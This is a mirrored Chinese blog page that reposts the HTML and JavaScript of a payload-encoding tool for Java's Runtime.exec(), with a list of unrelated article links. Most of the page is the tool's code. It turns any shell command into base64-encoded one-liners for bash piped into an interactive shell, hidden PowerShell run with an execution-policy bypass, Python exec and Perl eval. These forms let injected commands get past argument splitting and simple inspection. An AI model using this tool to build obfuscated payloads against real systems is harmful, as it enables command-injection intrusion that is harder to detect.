zoukankan      html  css  js  c++  java
  • java.lang.Runtime.exec() Payload Workarounds

    来源:http://www.jackson-t.ca/runtime-exec-payloads.html

    扣一下html代码,保存在本地方便查找,也方便增加。

    <!DOCTYPE html>
    <html>
    <head>
        <title>java runtime exec usage...</title>
    </head>
    <body>
        <p>Input type:
    <input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
    <input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
    <input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
    <input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
    
        <p><textarea rows="10" style=" 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
    <textarea rows="5" style=" 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
    
    <script>
      var taInput = document.querySelector('textarea#input');
      var taOutput = document.querySelector('textarea#output');
    
      function processInput() {
        var option = document.querySelector('input[name="option"]:checked').value;
    
        switch (option) {
          case 'bash':
            taInput.placeholder = 'Type Bash here...'
            taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
            break;
          case 'powershell':
            taInput.placeholder = 'Type PowerShell here...'
            poshInput = ''
            for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
            taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
            break;
          case 'python':
            taInput.placeholder = 'Type Python here...'
            taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
            break;
          case 'perl':
            taInput.placeholder = 'Type Perl here...'
            taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
            break;
          default:
            taOutput.value = ''
        }
    
        if (!taInput.value) taOutput.value = '';
      }
    
      taInput.addEventListener('input', processInput, false);
    </script>
    
    </body>
    </html>
  • 相关阅读:
    python移动文件
    python分割多个分隔符
    pywintypes.com_error: (-2147418111, '被呼叫方拒绝接收呼叫。', None, None)
    MySQL查看和修改字符集的方法
    Django创建超级管理员用户
    P2567.[SCOI2009] windy 数(数位DP)
    920G.List of Integers(莫比乌斯函数+二分)
    916E.Jamie and Tree (倍增LCA+线段树维护DFS序)
    GYM100376F.Circle and Trees(树形DP+倍增LCA)
    GYM100376E.LinearMapReduce(线段树维护矩阵乘法)
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/12745188.html
Copyright © 2011-2022 走看看